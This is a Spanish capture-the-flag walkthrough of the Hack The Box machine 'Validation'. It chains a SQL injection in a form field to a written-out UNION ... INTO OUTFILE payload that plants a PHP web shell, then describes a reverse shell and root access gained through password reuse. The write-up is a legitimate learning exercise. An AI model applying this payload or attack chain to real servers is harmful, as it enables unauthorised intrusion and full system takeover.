Keywords: SQL Injection, SQLi Error Based, Remote Command Execution, Privilege Escalation
Palabras Clave: Inyección SQL, SQLi Basado en errores, Ejecución Remota de Comandos, Escalada de Privilegios
En esta sección se procede a enumerar todos los posibles vectores de entrada a la máquina Validation, de froma que se obtenga información pertinente para la explotación de las vulnerabilidades que se van encontrando.
El escaneo de puertos se va a realizar con la herramienta Nmap, donde podremos observar los servicios alojados en los puertos abiertos y su correspondiente version, a razón de que vamos a utilizar el parámetro -sC para lanzar un conjunto de scripts básicos con el propósito de enumerar los servicios existentes y el parámetro -sV para obtener la versión de los servicios encontrados.
La máquina posee el puerto 80 abierto por lo que se va a proceder a revisar la página web alojada.
En la página web alojada en el puerto tcp 80 se logra ver las técnologías utilizadas mediante la extensión web Wappalyzer de las cuales la principales son: PHP 7.4.23, Apache 2.4.48 y jQuery 3.2.1.
Se va a proceder a revisar los campos que se envían por método POST, utilizando Burpsuite. Observando el comportamiento de la página al momento de enviar los datos sin ningún tipo de inyección salta un error indicando que no estás registrado, por lo que vamos a copiar la cookie que se muestra en la respuesta antes de hacer click en \textbf{Follow redirection} y la pegamos en la nuestra zona de petición.
Enviamos la petición con la cookie que se copió anteriormente para observar que respuesta brinda el servidor sin ejecutar ningun tipo de inyección aún, de esta manera se puede analizar el comportamiento de la página.
A continuación, vemos la respuesta del servidor donde nos redirige a una página account.php, en el cual se observa en pantalla el país seleccionado en el lixtbox (campo country) y lo que se ha escrito en el input text (campo username).
Se realiza algunas pruebas de inyección SQL en los campos usarname y country, donde el campo que es vulnerable a SQLi es el segundo mencionado, porque al momento de enviar un sleep(5) la página procede a demorar cinco segundos en recargar.
Conociendo que el campo country es inyectable, vamos a proceder hacer una inyección SQL union based para observar algún cambio en la página.
En la respuesta del servidor, la etiqueta html <li> pone la información que colocamos en la inyección SQL Union Based, por lo que ahora se va a a inyectar código PHP para poder hacer un RCE (Ejecución Remota de Comandos por sus siglas en inglés) y obtener acceso a la máquina, el archivo lo vamos a crear en el directorio /var/www/html y le vamos a llamar reverse_shell.
username=luis&country=Brazil' UNION SELECT "<?php SYSTEM($_REQUEST['cmd']) ?>" INTO OUTFILE "/var/www/html/reverse_shell.php"-- -
Después de enviar la petición con la inyección SQL para poder tener una RCE, se obtiene la siguiente respuesta del servidor.
Se procede a dirigir al navegador a la siguiente ubicación http://10.10.11.16/reverse\_shell.php/?cmd=id y se tiene que observar en la página la identificador del usuario www-data, confirmando que se ha logrado de manera exitosa el LFI y ejecutar comandos.
Para obtener una reverse shell, se coloca un one liner que nos permite entablecer una coneción hacia nuestra máquina por un puerto que especifiquemos, en este caso se va a estar en escucha por el puerto 443, por la ip que nos brinda la VPN de Hack The Box.
Teniendo acceso a la máquina se procede a buscar maneras de obtener acceso como root, por lo que procedemos a buscar archivos de configuración en el directorio /var/www para revisar si poseen credenciales que se puedan utilizar.
Existe una contraseña, que se puede probar como contraseña de root, porque puede existir una posibilidad de reutilización de contraseña.
Y efectivamente, hemos comprobado que existe reutilización de contraseña y obtenemos una shell como root. Por lo que hemos concluido con la máquina Validation